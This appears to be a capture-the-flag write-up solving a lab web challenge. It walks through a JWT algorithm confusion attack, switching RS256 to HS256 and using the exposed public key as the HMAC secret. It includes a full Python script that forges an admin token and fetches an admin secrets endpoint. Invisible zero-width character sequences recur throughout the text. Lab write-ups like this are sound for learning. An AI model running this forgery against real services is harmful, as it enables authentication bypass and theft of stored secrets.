← Back to Writeups
CUSTOMMediumWeb

Lab 350 — VaultKeeper

XESXOR9/2/20264 min read
#web#custom#medium#decoy_flag_identification#hmac_with_public_key#jwk_to_pem_conversion#jwt_algorithm_confusion#role_based_access_control_bypa#cve-2016-10555

Lab 350 — VaultKeeper

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_identification, hmac_with_public_key, jwk_to_pem_conversion, jwt_algorithm_confusion, role_based_access_control_bypass

Summary

Walkthrough of the CUSTOM Web Lab 350 — VaultKeeper. Task: VaultKeeper enterprise secrets management platform uses RS256 JWT authentication with exposed public key. Solution: JWT Algorithm Confusion attack (CVE-2016-10555) — changed alg from RS256 to HS

Description

VaultKeeper is an enterprise secrets management platform by Aegis Security Corp. Authentication is handled via JWT tokens signed with RSA-256. Goal is to escalate privileges and access the admin-only secrets vault.

Enterprise secrets management platform with JWT-based authentication. Users authenticate via POST /login and receive a JWT cookie (vk_session) signed with RS256. The goal is to escalate from a regular user to admin and access the secrets vault at /api/admin/secrets. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Initial Reconnaissance

  1. Login: POST /login with test credentials user@test.com / password123 returns a JWT cookie named vk_session
  2. JWT Structure: The token uses RS256 algorithm with a role: "user" claim in the payload
  3. Public Key Exposure: The RSA public key is available at /.well-known/jwks.json (also linked from the homepage)

JWT Token Analysis

Decoded JWT header:

json
{"alg": "RS256", "typ": "JWT"}

Decoded JWT payload:

json
{
  "sub": "86cf3cf2-058f-4aa2-bc6f-43172baf4c35",
  "email": "user@test.com",
  "role": "user",
  "name": "Alex Chen",
  "iat": 1777960693,
  "exp": 1878047093
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flags

The application embeds decoy/honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) in HTML comments on every page to trick automated scanners. These are not the real flag.

Admin Endpoints Discovered

  • /api/admin/secrets — returns stored secrets (contains the flag)
  • /api/admin/users — user management
  • /api/admin/audit — audit logs

Vulnerability: JWT Algorithm Confusion (CVE-2016-10555)

The server-side JWT library accepts both RS256 and HS256 algorithms. When verifying RS256 tokens, the server uses the RSA public key. If we switch the algorithm to HS256, the server will use the same public key as the HMAC secret — and since we have the public key, we can forge valid tokens. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Obtain the RSA Public Key

Fetch the JWK from /.well-known/jwks.json:

bash
curl -s https://TARGET/.well-known/jwks.json | jq .

JWK parameters:

  • n: qPmJ5qT86i9C-NN8dbLOJoDApzGQARAkMPF5hHOzbyW87pAGpQZzBHOxAGkq8tRaoae5oySPxk8sGACIjL-SDcokcw-wCua9_DcqEvSMqIbwmQZT0X8yrWd8TBQJAhL5XjKBeSTkCiOTF26dTfvi1Q8TvCJUIaoeSXbW5qD6Mgib-pe9-WVrusvT0dSk9gTvxs2sPL1OekP5j230DKeVmb8VLcijJx3ZGF11rAt4qS1esKlywhBPRHW-THEO77irSy-CWzmhkSqePn-ONfh7FTDLjmj2w0nsRSa3076ZLLx-LXW7-ibnhLxz2ziovES2yqQCyoqq8scBFIwkmDRMTQ
  • e: AQAB ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Convert JWK to PEM Format

Convert the JWK RSA public key to PEM format using DER encoding:

python
def jwk_to_pem(n_b64, e_b64):
    """Convert JWK RSA public key to PEM format"""
    n_bytes = b64url_decode(n_b64)
    e_bytes = b64url_decode(e_b64)
    
    # Encode as DER SubjectPublicKeyInfo
    n_der = encode_der_integer(n_bytes)
    e_der = encode_der_integer(e_bytes)
    rsa_key_content = n_der + e_der
    rsa_key_seq = b'\x30' + encode_der_length(len(rsa_key_content)) + rsa_key_content
    bit_string_content = b'\x00' + rsa_key_seq
    bit_string = b'\x03' + encode_der_length(len(bit_string_content)) + bit_string_content
    algorithm_oid = b'\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x01\x05\x00'
    spki_content = algorithm_oid + bit_string
    spki = b'\x30' + encode_der_length(len(spki_content)) + spki_content
    
    b64_encoded = base64.b64encode(spki).decode()
    pem_lines = ['-----BEGIN PUBLIC KEY-----']
    for i in range(0, len(b64_encoded), 64):
        pem_lines.append(b64_encoded[i:i+64])
    pem_lines.append('-----END PUBLIC KEY-----')
    return '\n'.join(pem_lines)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Forge Admin JWT with Algorithm Confusion

python
#!/usr/bin/env python3
"""
JWT Algorithm Confusion Attack: RS256 -> HS256
Forge admin JWT using RSA public key as HMAC secret.
"""
import base64, hmac, hashlib, json, requests
import urllib3
urllib3.disable_warnings()

URL = "https://TARGET.labs.hackadvisor.io"

with open('pubkey.pem', 'r') as f:
    pem_key = f.read()

# CRITICAL: PEM stripped + trailing newline as HMAC secret
secret = pem_key.strip() + '\n'

header = {"alg": "HS256", "typ": "JWT"}
payload = {
    "sub": "86cf3cf2-058f-4aa2-bc6f-43172baf4c35",
    "email": "user@test.com",
    "role": "admin",       # Changed from "user" to "admin"
    "name": "Alex Chen",
    "iat": 1777960693,
    "exp": 1878047093
}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def b64url_encode(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header_b64 = b64url_encode(json.dumps(header, separators=(',', ':')))
payload_b64 = b64url_encode(json.dumps(payload, separators=(',', ':')))
message = f"{header_b64}.{payload_b64}".encode()
signature = hmac.new(secret.encode(), message, hashlib.sha256).digest()
signature_b64 = b64url_encode(signature)
token = f"{header_b64}.{payload_b64}.{signature_b64}"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Access admin secrets with forged token
resp = requests.get(f"{URL}/api/admin/secrets",
                    cookies={"vk_session": token}, verify=False)
print(json.dumps(resp.json(), indent=2))

Step 4: Retrieve the Flag

The forged admin token was accepted by the server. Accessing /api/admin/secrets returned the stored secrets, including PLATFORM_MASTER_KEY which contained the flag.

Key Detail: HMAC Secret Format

Multiple key format variations were tested:

  • PEM with trailing newline — did not work
  • PEM stripped (no trailing whitespace) — did not work
  • PEM stripped + single trailing newline (\n) — worked!
  • PEM body only (no headers) — did not work
  • Raw DER bytes — did not work
  • alg: none attacks — did not work ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The correct format was the PEM key with whitespace stripped, then a single trailing newline character appended. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering decoy_flag_identification, hmac_with_public_key, jwk_to_pem_conversion, jwt_algorithm_confusion, role_based_access_control_bypass was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-05 • CUSTOM • Lab 350 — VaultKeeper • Difficulty: Medium